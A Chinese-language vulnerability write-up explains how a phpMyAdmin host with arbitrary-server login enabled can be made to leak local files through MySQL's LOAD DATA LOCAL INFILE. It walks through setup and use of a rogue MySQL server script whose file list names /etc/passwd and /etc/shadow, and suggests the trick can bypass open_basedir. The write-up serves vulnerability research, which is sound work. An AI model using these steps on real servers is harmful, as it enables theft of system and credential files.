phpMyAdmin开启远程登陆导致本地文件读取
0x1 漏洞分析
在最新的phpMyAdmin上修复了几个漏洞,其中一个是:
本地文件包含(CVE-2018-19968) -至少从4.0到4.8.3的phpMyAdmin版本就有一个本地文件包含漏洞,可允许远程攻击者通>过转换功能从服务器上的本地文件中获取敏感内容。
“攻击者必须能够访问phpMyAdmin配置存储表,尽管可以在攻击者访问的任何数据库中轻松创建这些表。攻击者必须拥有有效的凭>据才能登录phpMyAdmin; 此漏洞不允许攻击者绕过登录系统。“
这个漏洞如果我本以为是话是之前mysql的 LOAD DATA INFILE 的问题,导致如果phpMyAdmin开启任意主机链接的话,可以导致读取本地文件,关于LOAD DATA INFILE本地文件读取可以参考下这篇文章,写的很完整。
结果发现在最新版的phpMyAdmin上进行测试,依然可以读文件,想了一下,这个根本的修复方式还是需要在php的myqsl扩展中进行修复。
所以不单单是pma的问题,如果有的shell的情况下可以通过自写数据库链接脚本来达到读文件的效果,理论上来说也可以用该方法绕过php的open_basedir。
关于LOAD DATA INFILE的大概解释:
LOAD DATA INFILE其实是一个mysql客户端的动作,不受mysql server的文件安全模式和文件权限的影响,是服务端向客户端发送一个读文件的请求,然后客户端再将文件发送过去。
0x2 漏洞利用
先配置一下环境,先下载最新版的phpmyadmin
然后修改/phpMyAdmin-4.8.4-all-languages/libraries/config.default.php
$cfg['AllowArbitraryServer'] = true; //false改为true
配置完成可即可发现,服务器的内容可以自己进行填写,
然后利用rogue_mysql_server.py进行文件的读取。
修改脚本中的
filelist = (
# r'c:\boot.ini',
r'/etc/passwd', #此处改为需要读取的文件
# r'c:\windows\system32\drivers\etc\hosts',
# '/etc/passwd',
# '/etc/shadow',
)
脚本跑起来之后进行连接,账号密码随便填写即可
结果会保存在mysql.log中
drwxr-xr-x. 2 root root 4.0K 11月 28 10:01 xx
dr-xr-x---. 35 root root 4.0K 11月 28 10:01 .
dr-xr-xr-x. 18 root root 4.0K 11月 29 03:16 ..
drwxr-xr-x. 27 root root 4.0K 11月 29 07:50 tools
-rw-------. 1 root root 21K 12月 12 16:50 .bash_history
-rw-r--r--. 1 root root 327K 12月 12 16:57 mysql.log
[root@test-data ~]#